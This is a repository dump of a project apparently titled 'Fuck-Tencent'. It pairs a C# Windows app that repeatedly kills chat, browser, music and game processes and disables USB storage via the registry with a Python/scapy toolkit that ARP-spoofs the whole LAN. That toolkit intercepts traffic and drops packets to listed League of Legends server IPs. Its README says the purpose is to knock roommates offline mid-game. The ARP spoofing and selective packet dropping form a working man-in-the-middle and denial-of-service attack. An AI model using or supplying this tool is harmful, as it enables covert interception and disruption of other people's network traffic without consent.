this.ClientSize = new System.Drawing.Size(316, 309);
this.Controls.Add(this.labelTitle);
this.Controls.Add(this.tabControlInstruction);
this.Font = new System.Drawing.Font("微软雅黑 Light", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134)));
this.ForeColor = System.Drawing.SystemColors.ControlText;
this.Margin = new System.Windows.Forms.Padding(3, 4, 3, 4);
this.Name = "FuckTencent";
this.Text = "FuckTencent";
this.tabControlInstruction.ResumeLayout(false);
this.tabPageSoftware.ResumeLayout(false);
this.tabPageSoftware.PerformLayout();
this.tabPageHardware.ResumeLayout(false);
this.tabPageHardware.PerformLayout();
this.ResumeLayout(false);
this.PerformLayout();
}
#endregion
private System.Windows.Forms.TabControl tabControlInstruction;
private System.Windows.Forms.TabPage tabPageSoftware;
private System.Windows.Forms.TabPage tabPageHardware;
private System.Windows.Forms.Label labelTitle;
private System.Windows.Forms.CheckBox checkBoxQQ;
private System.Windows.Forms.Button buttonSoftware;
private System.Windows.Forms.CheckBox checkBoxLan;
private System.Windows.Forms.CheckBox checkBoxWifi;
private System.Windows.Forms.CheckBox checkBoxUSB;
private System.Windows.Forms.Button buttonHardware;
private System.Windows.Forms.CheckBox checkBoxBT;
private System.Windows.Forms.CheckBox checkBoxPlayer;
private System.Windows.Forms.CheckBox checkBoxDownload;
private System.Windows.Forms.CheckBox checkBoxExplorer;
private System.Windows.Forms.CheckBox checkBoxQQui;
private System.Windows.Forms.CheckBox checkBoxTGame;
private System.Windows.Forms.CheckBox checkBoxDNF;
private System.Windows.Forms.CheckBox checkBoxCF;
private System.Windows.Forms.CheckBox checkBoxQQSpd;
private System.Windows.Forms.CheckBox checkBoxLOL;
private System.Windows.Forms.Timer timerBT;
private System.Windows.Forms.Timer timerWifi;
private System.Windows.Forms.Timer timerLan;
private System.Windows.Forms.Timer timerQQ;
private System.Windows.Forms.Timer timerExplorer;
private System.Windows.Forms.Timer timerLOL;
private System.Windows.Forms.Timer timerCF;
private System.Windows.Forms.Timer timerTGame;
private System.Windows.Forms.Timer timerQQSpd;
private System.Windows.Forms.Timer timerQQui;
private System.Windows.Forms.Timer timerDNF;
private System.Windows.Forms.Timer timerPlayer;
private System.Windows.Forms.Timer timerDownload;
private System.Windows.Forms.Timer timerUSB;
}
}
================================================
FILE: WindowsPlatform/V 0.0.3/FuckTencent/FuckTencent/Form1.cs
================================================
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
using System.Diagnostics;
using Microsoft.Win32;
namespace WindowsFormsApp1
{
public partial class FuckTencent : Form
{
public FuckTencent()
{
InitializeComponent();
}
//############################################################################################################
///
/// 根据“精确进程名”结束进程
///
/// 精确进程名
public void KillProc(string strProcName)
{
try
{
//精确进程名 用GetProcessesByName
foreach (Process process in Process.GetProcessesByName(strProcName))
{
if (!process.CloseMainWindow())
{
process.Kill();
}
}
}
catch
{
}
}
private void timerQQ_Tick(object sender, EventArgs e)
{
KillProc("qq.exe");
KillProc("txplatform.exe");
KillProc("qqexternal.exe");
}
private void timerExplorer_Tick(object sender, EventArgs e)
{
KillProc("iexplore.exe");
KillProc("sogouexplorer.exe");
KillProc("The world.exe");
KillProc("Firefox.exe");
KillProc("opera.exe");
KillProc("360SE.exe");
KillProc("Chrome.exe");
KillProc("Safari.exe");
KillProc("Maxthon.exe");
KillProc("Netscape.exe");
KillProc("liebao.exe");
}
private void timerDownload_Tick(object sender, EventArgs e)
{
KillProc("Thunder.exe");
KillProc("ThunderPlatform.exe");
KillProc("QQDownload.exe");
KillProc("flashget.exe");
}
private void timerPlayer_Tick(object sender, EventArgs e)
{
KillProc("KuGou.exe");
KillProc("QQmusic.exe");
KillProc("kwmusic.exe");
KillProc("TTPlayer.exe");
KillProc("DUOMI.exe");
}
private void timerLOL_Tick(object sender, EventArgs e)
{
KillProc("LolClient.exe");
}
private void timerCF_Tick(object sender, EventArgs e)
{
KillProc("crossfire.exe");
}
private void timerTGame_Tick(object sender, EventArgs e)
{
KillProc("TGame.exe");
}
private void timerQQSpd_Tick(object sender, EventArgs e)
{
KillProc("QQSpeed_loader.exe");
}
private void timerQQui_Tick(object sender, EventArgs e)
{
KillProc("ui_launch_dx.exe");
}
private void timerDNF_Tick(object sender, EventArgs e)
{
KillProc("DNFchina.exe");
}
#region Software
private void buttonSoftware_Click(object sender, EventArgs e)
{
MessageBox.Show("设置已保存");
if (checkBoxQQ.Checked)
{
timerQQ.Enabled = true;
}
else
{
timerQQ.Enabled = false;
}
if (checkBoxExplorer.Checked)
{
timerExplorer.Enabled = true;
}
else
{
timerExplorer.Enabled = false;
}
if (checkBoxDownload.Checked)
{
timerDownload.Enabled = true;
}
else
{
timerDownload.Enabled = false;
}
if (checkBoxPlayer.Checked)
{
timerPlayer.Enabled = true;
}
else
{
timerPlayer.Enabled = false;
}
if (checkBoxLOL.Checked)
{
timerLOL.Enabled = true;
}
else
{
timerLOL.Enabled = false;
}
if (checkBoxCF.Checked)
{
timerCF.Enabled = true;
}
else
{
timerCF.Enabled = false;
}
if (checkBoxTGame.Checked)
{
timerTGame.Enabled = true;
}
else
{
timerTGame.Enabled = false;
}
if (checkBoxQQSpd.Checked)
{
timerQQSpd.Enabled = true;
}
else
{
timerQQSpd.Enabled = false;
}
if (checkBoxQQui.Checked)
{
timerQQui.Enabled = true;
}
else
{
timerQQui.Enabled = false;
}
if (checkBoxDNF.Checked)
{
timerDNF.Enabled = true;
}
else
{
timerDNF.Enabled = false;
}
}
#endregion
//############################################################################################################
#region Hardware
///
/// 通过注册表启用USB
///
///
public bool RegToRunUSB()
{
try
{
RegistryKey regKey = Registry.LocalMachine; //读取注册列表HKEY_LOCAL_MACHINE
string keyPath = @"SYSTEM\CurrentControlSet\Services\USBSTOR"; //USB 大容量存储驱动程序
RegistryKey openKey = regKey.OpenSubKey(keyPath, true);
openKey.SetValue("Start", 3); //设置键值对(3)为开启USB(4)为关闭
openKey.Close(); //关闭注册列表读写流
return true;
}
catch (Exception ex)
{
throw ex;
}
}
///
/// 通过注册表禁用USB
///
///
public bool RegToStopUSB()
{
try
{
RegistryKey regKey = Registry.LocalMachine;
string keyPath = @"SYSTEM\CurrentControlSet\Services\USBSTOR";
RegistryKey openKey = regKey.OpenSubKey(keyPath, true);
openKey.SetValue("Start", 4);
openKey.Close();
return true;
}
catch (Exception ex)
{
throw ex;
}
}
private void timerUSB_Tick(object sender, EventArgs e)
{
RegToStopUSB();
}
private void timerBT_Tick(object sender, EventArgs e)
{
//STOP BT
}
private void timerWifi_Tick(object sender, EventArgs e)
{
//STOP Wi-Fi
}
private void timerLan_Tick(object sender, EventArgs e)
{
//STOP LAN
}
private void buttonHardware_Click(object sender, EventArgs e)
{
MessageBox.Show("设置已保存");
if (checkBoxUSB.Checked)
{
timerUSB.Enabled = true;
}
else
{
timerUSB.Enabled = false;
RegToRunUSB();
}
if (checkBoxBT.Checked)
{
timerBT.Enabled = true;
}
else
{
timerBT.Enabled = false;
//Enable BT
}
if (checkBoxWifi.Checked)
{
timerWifi.Enabled = true;
}
else
{
timerWifi.Enabled = false;
//Enable Wi-Fi
}
if (checkBoxLan.Checked)
{
timerLan.Enabled = true;
}
else
{
timerLan.Enabled = false;
//Enable LAN
}
}
#endregion
//############################################################################################################
}
}
================================================
FILE: WindowsPlatform/V 0.0.3/FuckTencent/FuckTencent/Form1.resx
================================================
text/microsoft-resx
2.0
System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
124, 17
222, 17
328, 17
432, 17
535, 17
928, 17
1033, 17
1131, 17
17, 55
143, 55
257, 55
809, 17
666, 17
17, 17
================================================
FILE: WindowsPlatform/V 0.0.3/FuckTencent/FuckTencent/FuckTencent.csproj
================================================
Debug
AnyCPU
{002FE408-F1E7-434B-A07A-6F0AA2C784BF}
WinExe
FuckTencent
FuckTencent
v4.5.2
512
true
publish\
true
Disk
false
Foreground
7
Days
false
false
true
0
1.0.0.%2a
false
false
true
AnyCPU
true
full
true
bin\Debug\
DEBUG;TRACE
prompt
4
AnyCPU
pdbonly
true
bin\Release\
TRACE
prompt
4
bc2.ico
Form
Form1.cs
Form1.cs
ResXFileCodeGenerator
Resources.Designer.cs
Designer
True
Resources.resx
True
SettingsSingleFileGenerator
Settings.Designer.cs
True
Settings.settings
True
False
Microsoft .NET Framework 4.5.2 %28x86 和 x64%29
true
False
.NET Framework 3.5 SP1
false
================================================
FILE: WindowsPlatform/V 0.0.3/FuckTencent/FuckTencent/FuckTencent.csproj.user
================================================
publish\
zh-CN
false
================================================
FILE: WindowsPlatform/V 0.0.3/FuckTencent/FuckTencent/Program.cs
================================================
using System;
using System.Collections.Generic;
using System.Linq;
using System.Threading.Tasks;
using System.Windows.Forms;
namespace WindowsFormsApp1
{
static class Program
{
///
/// 应用程序的主入口点。
///
[STAThread]
static void Main()
{
Application.EnableVisualStyles();
Application.SetCompatibleTextRenderingDefault(false);
Application.Run(new FuckTencent());
}
}
}
================================================
FILE: WindowsPlatform/V 0.0.3/FuckTencent/FuckTencent/Properties/AssemblyInfo.cs
================================================
using System.Reflection;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
// 有关程序集的一般信息由以下
// 控制。更改这些特性值可修改
// 与程序集关联的信息。
[assembly: AssemblyTitle("FuckTencent")]
[assembly: AssemblyDescription("FuckTencent")]
[assembly: AssemblyConfiguration("")]
[assembly: AssemblyCompany("Lixin")]
[assembly: AssemblyProduct("FuckTencent")]
[assembly: AssemblyCopyright("Copyright © 2017")]
[assembly: AssemblyTrademark("Lixin")]
[assembly: AssemblyCulture("")]
// 将 ComVisible 设置为 false 会使此程序集中的类型
//对 COM 组件不可见。如果需要从 COM 访问此程序集中的类型
//请将此类型的 ComVisible 特性设置为 true。
[assembly: ComVisible(false)]
// 如果此项目向 COM 公开,则下列 GUID 用于类型库的 ID
[assembly: Guid("002fe408-f1e7-434b-a07a-6f0aa2c784bf")]
// 程序集的版本信息由下列四个值组成:
//
// 主版本
// 次版本
// 生成号
// 修订号
//
// 可以指定所有值,也可以使用以下所示的 "*" 预置版本号和修订号
// 方法是按如下所示使用“*”: :
// [assembly: AssemblyVersion("1.0.*")]
[assembly: AssemblyVersion("1.0.0.3")]
[assembly: AssemblyFileVersion("1.0.0.3")]
================================================
FILE: WindowsPlatform/V 0.0.3/FuckTencent/FuckTencent/Properties/Resources.Designer.cs
================================================
//------------------------------------------------------------------------------
//
// 此代码由工具生成。
// 运行时版本:4.0.30319.42000
//
// 对此文件的更改可能会导致不正确的行为,并且如果
// 重新生成代码,这些更改将会丢失。
//
//------------------------------------------------------------------------------
namespace FuckTencent.Properties {
using System;
///
/// 一个强类型的资源类,用于查找本地化的字符串等。
///
// 此类是由 StronglyTypedResourceBuilder
// 类通过类似于 ResGen 或 Visual Studio 的工具自动生成的。
// 若要添加或移除成员,请编辑 .ResX 文件,然后重新运行 ResGen
// (以 /str 作为命令选项),或重新生成 VS 项目。
[global::System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "4.0.0.0")]
[global::System.Diagnostics.DebuggerNonUserCodeAttribute()]
[global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()]
internal class Resources {
private static global::System.Resources.ResourceManager resourceMan;
private static global::System.Globalization.CultureInfo resourceCulture;
[global::System.Diagnostics.CodeAnalysis.SuppressMessageAttribute("Microsoft.Performance", "CA1811:AvoidUncalledPrivateCode")]
internal Resources() {
}
///
/// 返回此类使用的缓存的 ResourceManager 实例。
///
[global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)]
internal static global::System.Resources.ResourceManager ResourceManager {
get {
if (object.ReferenceEquals(resourceMan, null)) {
global::System.Resources.ResourceManager temp = new global::System.Resources.ResourceManager("FuckTencent.Properties.Resources", typeof(Resources).Assembly);
resourceMan = temp;
}
return resourceMan;
}
}
///
/// 使用此强类型资源类,为所有资源查找
/// 重写当前线程的 CurrentUICulture 属性。
///
[global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)]
internal static global::System.Globalization.CultureInfo Culture {
get {
return resourceCulture;
}
set {
resourceCulture = value;
}
}
}
}
================================================
FILE: WindowsPlatform/V 0.0.3/FuckTencent/FuckTencent/Properties/Resources.resx
================================================
text/microsoft-resx
2.0
System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
================================================
FILE: WindowsPlatform/V 0.0.3/FuckTencent/FuckTencent/Properties/Settings.Designer.cs
================================================
//------------------------------------------------------------------------------
//
// 此代码由工具生成。
// 运行时版本:4.0.30319.42000
//
// 对此文件的更改可能会导致不正确的行为,并且如果
// 重新生成代码,这些更改将会丢失。
//
//------------------------------------------------------------------------------
namespace FuckTencent.Properties {
[global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()]
[global::System.CodeDom.Compiler.GeneratedCodeAttribute("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "15.1.0.0")]
internal sealed partial class Settings : global::System.Configuration.ApplicationSettingsBase {
private static Settings defaultInstance = ((Settings)(global::System.Configuration.ApplicationSettingsBase.Synchronized(new Settings())));
public static Settings Default {
get {
return defaultInstance;
}
}
}
}
================================================
FILE: WindowsPlatform/V 0.0.3/FuckTencent/FuckTencent/Properties/Settings.settings
================================================
================================================
FILE: WindowsPlatform/V 0.0.3/FuckTencent/FuckTencent/bin/Debug/FuckTencent.exe.config
================================================
================================================
FILE: WindowsPlatform/V 0.0.3/FuckTencent/FuckTencent/bin/Release/FuckTencent.exe.config
================================================
================================================
FILE: WindowsPlatform/V 0.0.3/FuckTencent/FuckTencent/obj/Debug/CoreCompileInputs.cache
================================================
701b86912150830875a89bd2808714de9a88d9eb
================================================
FILE: WindowsPlatform/V 0.0.3/FuckTencent/FuckTencent/obj/Debug/FuckTencent.csproj.FileListAbsolute.txt
================================================
D:\GitHub\Fuck-Tencent\WindowsPlatform\V 0.0.3\FuckTencent\FuckTencent\bin\Debug\FuckTencent.exe.config
D:\GitHub\Fuck-Tencent\WindowsPlatform\V 0.0.3\FuckTencent\FuckTencent\bin\Debug\FuckTencent.exe
D:\GitHub\Fuck-Tencent\WindowsPlatform\V 0.0.3\FuckTencent\FuckTencent\bin\Debug\FuckTencent.pdb
D:\GitHub\Fuck-Tencent\WindowsPlatform\V 0.0.3\FuckTencent\FuckTencent\obj\Debug\FuckTencent.csprojResolveAssemblyReference.cache
D:\GitHub\Fuck-Tencent\WindowsPlatform\V 0.0.3\FuckTencent\FuckTencent\obj\Debug\FuckTencent.csproj.GenerateResource.Cache
D:\GitHub\Fuck-Tencent\WindowsPlatform\V 0.0.3\FuckTencent\FuckTencent\obj\Debug\FuckTencent.exe
D:\GitHub\Fuck-Tencent\WindowsPlatform\V 0.0.3\FuckTencent\FuckTencent\obj\Debug\FuckTencent.pdb
D:\GitHub\Fuck-Tencent\WindowsPlatform\V 0.0.3\FuckTencent\FuckTencent\obj\Debug\WindowsFormsApp1.FuckTencent.resources
D:\GitHub\Fuck-Tencent\WindowsPlatform\V 0.0.3\FuckTencent\FuckTencent\obj\Debug\FuckTencent.Properties.Resources.resources
================================================
FILE: WindowsPlatform/V 0.0.3/FuckTencent/FuckTencent/obj/Debug/TemporaryGeneratedFile_036C0B5B-1481-4323-8D20-8F5ADCB23D92.cs
================================================
================================================
FILE: WindowsPlatform/V 0.0.3/FuckTencent/FuckTencent/obj/Debug/TemporaryGeneratedFile_5937a670-0e60-4077-877b-f7221da3dda1.cs
================================================
================================================
FILE: WindowsPlatform/V 0.0.3/FuckTencent/FuckTencent/obj/Debug/TemporaryGeneratedFile_E7A71F73-0F8D-4B9B-B56E-8E70B10BC5D3.cs
================================================
================================================
FILE: WindowsPlatform/V 0.0.3/FuckTencent/FuckTencent/obj/Release/CoreCompileInputs.cache
================================================
701b86912150830875a89bd2808714de9a88d9eb
================================================
FILE: WindowsPlatform/V 0.0.3/FuckTencent/FuckTencent/obj/Release/FuckTencent.csproj.FileListAbsolute.txt
================================================
D:\GitHub\Fuck-Tencent\WindowsPlatform\V 0.0.3\FuckTencent\FuckTencent\bin\Release\FuckTencent.exe.config
D:\GitHub\Fuck-Tencent\WindowsPlatform\V 0.0.3\FuckTencent\FuckTencent\bin\Release\FuckTencent.exe
D:\GitHub\Fuck-Tencent\WindowsPlatform\V 0.0.3\FuckTencent\FuckTencent\bin\Release\FuckTencent.pdb
D:\GitHub\Fuck-Tencent\WindowsPlatform\V 0.0.3\FuckTencent\FuckTencent\obj\Release\WindowsFormsApp1.FuckTencent.resources
D:\GitHub\Fuck-Tencent\WindowsPlatform\V 0.0.3\FuckTencent\FuckTencent\obj\Release\FuckTencent.Properties.Resources.resources
D:\GitHub\Fuck-Tencent\WindowsPlatform\V 0.0.3\FuckTencent\FuckTencent\obj\Release\FuckTencent.csproj.GenerateResource.Cache
D:\GitHub\Fuck-Tencent\WindowsPlatform\V 0.0.3\FuckTencent\FuckTencent\obj\Release\FuckTencent.exe
D:\GitHub\Fuck-Tencent\WindowsPlatform\V 0.0.3\FuckTencent\FuckTencent\obj\Release\FuckTencent.pdb
================================================
FILE: WindowsPlatform/V 0.0.3/FuckTencent/FuckTencent/obj/Release/TemporaryGeneratedFile_036C0B5B-1481-4323-8D20-8F5ADCB23D92.cs
================================================
================================================
FILE: WindowsPlatform/V 0.0.3/FuckTencent/FuckTencent/obj/Release/TemporaryGeneratedFile_5937a670-0e60-4077-877b-f7221da3dda1.cs
================================================
================================================
FILE: WindowsPlatform/V 0.0.3/FuckTencent/FuckTencent/obj/Release/TemporaryGeneratedFile_E7A71F73-0F8D-4B9B-B56E-8E70B10BC5D3.cs
================================================
================================================
FILE: WindowsPlatform/V 0.0.3/FuckTencent/FuckTencent.sln
================================================
Microsoft Visual Studio Solution File, Format Version 12.00
# Visual Studio 15
VisualStudioVersion = 15.0.26403.3
MinimumVisualStudioVersion = 10.0.40219.1
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "FuckTencent", "FuckTencent\FuckTencent.csproj", "{002FE408-F1E7-434B-A07A-6F0AA2C784BF}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|Any CPU = Debug|Any CPU
Release|Any CPU = Release|Any CPU
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{002FE408-F1E7-434B-A07A-6F0AA2C784BF}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{002FE408-F1E7-434B-A07A-6F0AA2C784BF}.Debug|Any CPU.Build.0 = Debug|Any CPU
{002FE408-F1E7-434B-A07A-6F0AA2C784BF}.Release|Any CPU.ActiveCfg = Release|Any CPU
{002FE408-F1E7-434B-A07A-6F0AA2C784BF}.Release|Any CPU.Build.0 = Release|Any CPU
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
EndGlobal
================================================
FILE: macOS&&LinuxPlatform/.idea/encodings.xml
================================================
================================================
FILE: macOS&&LinuxPlatform/.idea/inspectionProfiles/profiles_settings.xml
================================================
================================================
FILE: macOS&&LinuxPlatform/.idea/macOS&&LinuxPlatform.iml
================================================
================================================
FILE: macOS&&LinuxPlatform/.idea/misc.xml
================================================
================================================
FILE: macOS&&LinuxPlatform/.idea/modules.xml
================================================
================================================
FILE: macOS&&LinuxPlatform/.idea/vcs.xml
================================================
================================================
FILE: macOS&&LinuxPlatform/.idea/workspace.xml
================================================
print
true
DEFINITION_ORDER
project
1488257873655
1488257873655
================================================
FILE: macOS&&LinuxPlatform/ARP_attack.py
================================================
# coding=utf-8
from scapy.all import *
from scapy.all import ARP
from tools import *
def arp_attack():
apr_spoof = ARP()
psrc = get_gate_way()
pdst = get_broadcast()
hwsrc = get_mac_address()
apr_spoof.psrc = psrc
apr_spoof.pdst = pdst
apr_spoof.hwsrc = hwsrc
apr_spoof.op = 2
while 1:
send(apr_spoof)
print 'arp sent'
conf.sniff_promisc = True
'''
[ XShortField("hwtype", 0x0001),
XShortEnumField("ptype", 0x0800, ETHER_TYPES),
ByteField("hwlen", 6),
ByteField("plen", 4),
ShortEnumField("op", 1, {"who-has":1, "is-at":2, "RARP-req":3, "RARP-rep":4, "Dyn-RARP-req":5, "Dyn-RAR-rep":6, "Dyn-RARP-err":7, "InARP-req":8, "InARP-rep":9}),
ARPSourceMACField("hwsrc"),
SourceIPField("psrc","pdst"),
MACField("hwdst", ETHER_ANY),
IPField("pdst", "0.0.0.0") ]
'''
if __name__ == '__main__':
arp_attack()
================================================
FILE: macOS&&LinuxPlatform/README.md
================================================
# fuckLOL
> LOL and OW is the most lowest game in the world
### 背景:
作为一个学习党,总是被室友的打游戏的机械键盘声音吵到么,你还总是被室友的室友要被杀死的绝望叫声所震撼么,你还被室友输了游戏以后久久不能释怀的喃喃自语所心烦么。不用心烦,不用慌张。室友团战断网必备。
### 设计原则
1. 绝对不打扰到非游戏玩家的网络访问。
2. 绝对不由抢网速的原因来进行局域网攻击。
### 支持平台
1. OS X (就是不叫Mac OS)
2. Linux
### 所用库/所需要的环境
1. scapy 绝对强大的linux/unix开源网络库
2. todo
### 支持断网游戏
1. LOL
2. OW
### DONE
1. 针对自己电脑的mac完成整个局域网的ARP欺骗。
2. 完成了本机ip, 网关ip, 本机mac等的自动抓取,
### TODO
0. 适用性提升
1. 对于被欺骗的数据链路层的包进行抓包处理,最好可以链路层处理。
2. 写成一个命令行工具
### LOL电信区服务器名单,欢迎添加新的
艾欧尼亚
IP地址:
113.105.154.139
IP所在位置:
广东省东莞市
祖安
IP地址:
115.236.97.160
IP所在位置:
浙江省杭州市深圳腾讯杭州分公司
诺克萨斯
IP地址:
119.147.107.25
IP所在位置:
广东省东莞市
班德尔城
IP地址:
182.131.31.18
IP所在位置:
四川省成都市电信
皮尔特沃夫
IP地址:
115.236.134.77
IP所在位置:
浙江省杭州市电信
战争学院
IP地址:
183.60.163.63
IP所在位置:
广东省东莞市
巨神峰
IP地址:
115.236.153.148
IP所在位置:
浙江省杭州市电信
雷瑟守备
IP地址:
113.105.149.145
IP所在位置:
广东省东莞市
裁决之地
IP地址:
182.140.134.24
IP所在位置:
四川省电信
黑色玫瑰
IP地址:
113.105.149.153
IP所在位置:
广东省东莞市
暗影岛
IP地址:
119.147.117.152
IP所在位置:
广东省东莞市
钢铁烈阳
IP地址:
182.140.134.40
IP所在位置:
四川省电信
水晶之痕
IP地址:
115.236.149.92
IP所在位置:
浙江省杭州市电信
均衡教派
IP地址:
180.96.77.104
IP所在位置:
江苏省南京市电信
影流
IP地址:
180.96.76.31
IP所在位置:
江苏省南京市电信
守望之海
IP地址:
180.96.76.185
IP所在位置:
江苏省南京市电信
================================================
FILE: macOS&&LinuxPlatform/configure.py
================================================
# coding=utf-8
lol_ip_config = [
# 艾欧尼亚,
'113.105.154.139',
# 祖安,
'115.236.97.160',
# 诺克萨斯,
'119.147.107.25',
# 班德尔城,
'182.131.31.18',
# 皮尔特沃夫,
'115.236.134.77',
# 战争学院,
'183.60.163.63',
# 巨神峰,
'115.236.153.148',
# 雷瑟守备,
'113.105.149.145',
# 裁决之地,
'182.140.134.24',
# 黑色玫瑰,
'113.105.149.153',
# 暗影岛,
'119.147.117.152',
# 钢铁烈阳
'182.140.134.40',
# 水晶之痕
'115.236.149.92',
# 均衡教派
'180.96.77.104',
# 影流
'180.96.76.31',
# 守望之海
'180.96.76.185',
# 教育网专区
'59.78.209.167',
]
ow_ip_config = [
]
================================================
FILE: macOS&&LinuxPlatform/multi_process_test.py
================================================
# coding= utf-8
'''演进过程:
1. 先实现即使开了arp也可以完成整个数据包的收发:'''
import os
from multiprocessing import Process
from scapy.all import *
from scapy.all import send
import binascii
from packet import PacketEz
'''
def sniff_en():
conf.sniff_promisc = True
def prn(packet):
raw = packet.__str__()
etherheader = struct.unpack('!6s6s', raw[0:12])
src_mac = packet[0][0].src
dst_mac = packet[0][0].dst
print src_mac
print dst_mac
src = packet[0][1].src
dst = packet[0][1].dst
packet_ez = Packet_ez(destination_ip=dst,
source_ip=src,
packet_itself=packet,
protocol='ip',
destination_mac=dst_mac,
source_mac=src_mac,
)
print '============look here==========================='
print binascii.hexlify(raw)
print dst
print src
packet_ez.packet_judge()
print src + ' ====> ' + dst
if src_mac != 'a0:99:9b:0f:aa:45' and dst_mac != 'a0:99:9b:0f:aa:45':
print 'lp5!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!'
print '=============over over over====================='
# init the packet
sniff(filter='ip', prn=prn)
def child_process(name):
print "i am a child process and pid is: " + str(os.getpid())
if __name__ == '__main__':
print 'Parents process: '+str(os.getpid()) + ' now start'
child_p = Process(target=child_process, args=('hahaha', ))
child_p.start()
child_p.join()
print "child_p process is over"
'''
from multiprocessing import Process
import os
# 子进程要执行的代码
def run_proc(name):
while (1):
print 1
print 'Run child process %s (%s)...' % (name, os.getpid())
if __name__ == '__main__':
print 'Parent process %s.' % os.getpid()
p = Process(target=run_proc, args=('test',))
print 'Process will start.'
p.start()
p.join()
print 'Process end.'
================================================
FILE: macOS&&LinuxPlatform/packet.py
================================================
# coding:utf-8
from scapy.all import send
from configure import lol_ip_config
from tools import *
class PacketEz(object):
def __init__(self, destination_ip, source_ip, destination_mac, source_mac, packet_itself, protocol):
self.destination_ip = destination_ip
self.source_ip = source_ip
self.packet_itself = packet_itself
self.protocol = protocol
self.destination_mac = destination_mac
self.source_mac = source_mac
def __send_packet(self):
send(self.packet_itself)
print 'packet send'
return "send_success"
def packet_judge(self):
if self.destination_ip in lol_ip_config:
print 'lol packet! has been abandon...'
pass
elif self.source_mac == get_mac_address() or self.destination_mac == get_mac_address():
print 'loop packet, machine-self packet, abandon'
pass
elif self.destination_ip == get_broadcast():
print 'broadcast packet, abandon'
pass
else:
print 'packet is clean...has judged'
self.__send_packet()
print 'packet has send'
return "judge_success"
================================================
FILE: macOS&&LinuxPlatform/packet_investigate.py
================================================
# coding=utf-8
# Packet sniffer in python for Linux
# Sniffs only incoming TCP packet
from scapy.all import *
from packet import PacketEz
conf.promisc = 1
conf.sniff_promisc = 1
def main_start():
conf.promisc = True
conf.sniff_promisc = True
def prn(packets):
raw = packets.__str__()
src_mac = packets[0][0].src
dst_mac = packets[0][0].dst
src_ip = packets[0][1].src
dst_ip = packets[0][1].dst
packets_ez = PacketEz(
destination_ip=dst_ip,
source_ip=src_ip,
destination_mac=dst_mac,
source_mac=src_mac,
packet_itself=packets,
protocol='ip',
)
# log here!
print '==============Log here=============='
print 'attack start!!'
print 'This packet mac route is: ' + packets_ez.source_mac + '====>' + packets_ez.destination_mac
print 'This packet ip route is: ' + packets_ez.source_ip + '====>' + packets_ez.destination_ip
packets_ez.packet_judge()
print '==============over=================='
sniff(filter='ip', prn=prn)
if __name__ == '__main__':
main_start()
'''
# TCP protocol
if protocol == 6:
t = iph_length + eth_length
tcp_header = packet[t:t + 20]
# now unpack them :)
tcph = unpack('!HHLLBBHHH', tcp_header)
source_port = tcph[0]
dest_port = tcph[1]
sequence = tcph[2]
acknowledgement = tcph[3]
doff_reserved = tcph[4]
tcph_length = doff_reserved >> 4
print 'Source Port : ' + str(source_port) + ' Dest Port : ' + str(dest_port) + ' Sequence Number : ' + str(
sequence) + ' Acknowledgement : ' + str(acknowledgement) + ' TCP header length : ' + str(tcph_length)
h_size = eth_length + iph_length + tcph_length * 4
data_size = len(packet) - h_size
# get data from the packet
data = packet[h_size:]
print 'Data : ' + data
return None
# ICMP Packets
elif protocol == 1:
u = iph_length + eth_length
icmph_length = 4
icmp_header = packet[u:u + 4]
# now unpack them :)
icmph = unpack('!BBH', icmp_header)
icmp_type = icmph[0]
code = icmph[1]
checksum = icmph[2]
print 'Type : ' + str(icmp_type) + ' Code : ' + str(code) + ' Checksum : ' + str(checksum)
h_size = eth_length + iph_length + icmph_length
data_size = len(packet) - h_size
# get data from the packet
data = packet[h_size:]
print 'Data : ' + data
# UDP packets
elif protocol == 17:
u = iph_length + eth_length
udph_length = 8
udp_header = packet[u:u + 8]
# now unpack them :)
udph = unpack('!HHHH', udp_header)
source_port = udph[0]
dest_port = udph[1]
length = udph[2]
checksum = udph[3]
print 'Source Port : ' + str(source_port) + ' Dest Port : ' + str(dest_port) + ' Length : ' + str(
length) + ' Checksum : ' + str(checksum)
h_size = eth_length + iph_length + udph_length
data_size = len(packet) - h_size
# get data from the packet
data = packet[h_size:]
print 'Data : ' + data
# some other IP packet like IGMP
else:
print 'Protocol other than TCP/UDP/ICMP'
'''
================================================
FILE: macOS&&LinuxPlatform/start.py
================================================
# coding=utf-8
'''
###########################################
思路:
第一步:实现数据报欺骗:我需要不断的向公网广播自己的arp应答包,把应答包中的目的地址的Mac发过去
arp_attack.py 使用一个进程去完成 可以开一个进程去做
第二步:实现对欺骗过来的数据报文的处理:对于所有流入网卡的数据包,
检查源地址和目的地址,不匹配ip则进行发送
#############################################
'''
from ARP_attack import arp_attack
from packet_investigate import main_start
from utils import start_threading
if __name__ == '__main__':
start_threading(arp_attack, ())
start_threading(main_start, ())
'''
p_1 = Process(target=arp_attack())
p_1.start()
p_2 = Process(target=main_start())
p_2.start()
'''
================================================
